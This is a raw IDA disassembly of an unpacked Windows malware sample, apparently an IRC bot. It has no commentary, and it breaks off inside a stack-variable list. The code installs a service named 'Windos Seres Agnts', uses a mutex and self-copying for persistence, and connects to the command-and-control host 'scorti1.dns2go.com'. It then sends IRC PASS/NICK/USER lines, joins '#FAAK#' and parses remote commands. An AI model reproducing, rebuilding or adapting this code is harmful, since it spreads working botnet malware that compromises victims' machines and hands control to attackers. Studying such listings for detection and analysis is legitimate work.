;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 6F4C619831AA11418F3B1391E1EA809E
; File Name : u:\work\6f4c619831aa11418f3b1391e1ea809e_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DE000 ( 909312.)
; Section size in file : 000DE000 ( 909312.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_4188A6+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindosSeresAgn ; "Windos Seres Agnts"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB988
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CB9F8
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB938
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB9B0
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427220[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:004169EAp
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BEB5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BEA2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41BBE2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41BAFA
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA91
push edi
call sub_41BA3B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E91C
call dword_4CBA6C
call sub_40B583
call dword_4CB92C
call dword_4CB92C
mov ebx, dword_427080
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43DB88
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 2680A92h
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2680000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 26709E4h
nop
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427070
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43DB80
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418BD1
pop ecx
mov dword_4CB710, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270B0
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB714, eax
call esi
push eax
call sub_41C2B8
pop ecx
call sub_409909
push 2
call dword_4CBA80
push 7530h
push offset aSaadfgh ; "saadfgh"
push ebx
push ebx
call near ptr 26A01EFh
nop
push eax
nop
call near ptr 26A0168h
cmp eax, 102h
jnz short loc_4012A1
push 1
nop
call near ptr 77E75CB5h
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CB944
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 2680A92h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 26A0000h
push eax
nop
call near ptr 2680000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41C3B1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_429AC8
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41C360
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41C2E0
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41B9C0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41B9C0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_429AC0
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2690E7Eh
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
call near ptr 2690D47h
nop
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427098
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 269086Bh
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
call near ptr 2680EF8h
nop
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_4187E0
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 2690D47h
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41BF70
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41BF70
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset byte_43DB88
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
nop
call near ptr 269081Fh
push eax
push esi
push 100000h
loc_401495: ; DATA XREF: ___:off_433094o
nop
call near ptr 26902E0h
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_429AB4
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
call near ptr 26709E4h
nop
test eax, eax
jz short loc_401516
push 0C8h
call near ptr 2680EF8h
nop
push dword ptr [ebp-20h]
mov esi, dword_427070
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CB92C
push ebx
nop
call near ptr 77E75CB5h
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DBDF8, 2
jle short loc_401562
mov eax, dword_4DBDFC
push dword ptr [eax+4]
call sub_41C159
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 26A0168h
push esi
nop
call near ptr 2670770h
mov eax, dword_4DBDFC
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
nop
call near ptr 2680EF8h
mov eax, dword_4DBDFC
push dword ptr [eax+8]
nop
call near ptr 26901EBh
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CBAA4, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429A98
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B3BA
lea eax, [ebp-0A0h]
push eax
call sub_415D38
push 0B80h
push ebx
push offset dword_43DB90
call sub_41BF70
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429A74
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
mov edi, dword_427084
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset byte_419F4D
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_401622
nop
call near ptr 269086Bh
push eax
lea eax, [ebp-0A0h]
push offset unk_429A34
push eax
call sub_41C266
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_415D38
push 2
call sub_40B602
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429A08
push eax
call sub_41C266
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_410BFD
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43E924[esi], eax
jnz short loc_40169A
nop
call near ptr 269086Bh
push eax
lea eax, [ebp-0A0h]
push offset dword_4299D4
push eax
call sub_41C266
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_415D38
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41C2C2
push 7Fh
and eax, 3
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
mov dword_4CB888, eax
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB79C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
mov esi, offset dword_4CB7DC
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword_4CB870, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CB718
mov dword_4CB884, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CB884, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
nop
call near ptr 2680EF8h
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aScorti1_dns2go ; "scorti1.dns2go.com"
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CB71C
call sub_41BFD0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB86C, eax
call sub_41BFD0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B583
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CB92C
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+654Co
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB9D4
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A8F0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40AE84
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E928
push edi
push eax
call sub_41BFD0
add esp, 28h
push 6
push 1
push 2
call dword_4CBA54
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E91C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB97C
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CBA6C
call sub_40A919
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
nop
call near ptr 2680EF8h
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD0
call sub_415DAC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CBA6C
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B6D6
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C500
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB880, bl
jz short loc_40199A
push offset byte_4CB880
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409823
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CBA24
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CBA6C
push 1388h
call near ptr 2680EF8h
nop
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_4184CC
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 2680EF8h
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
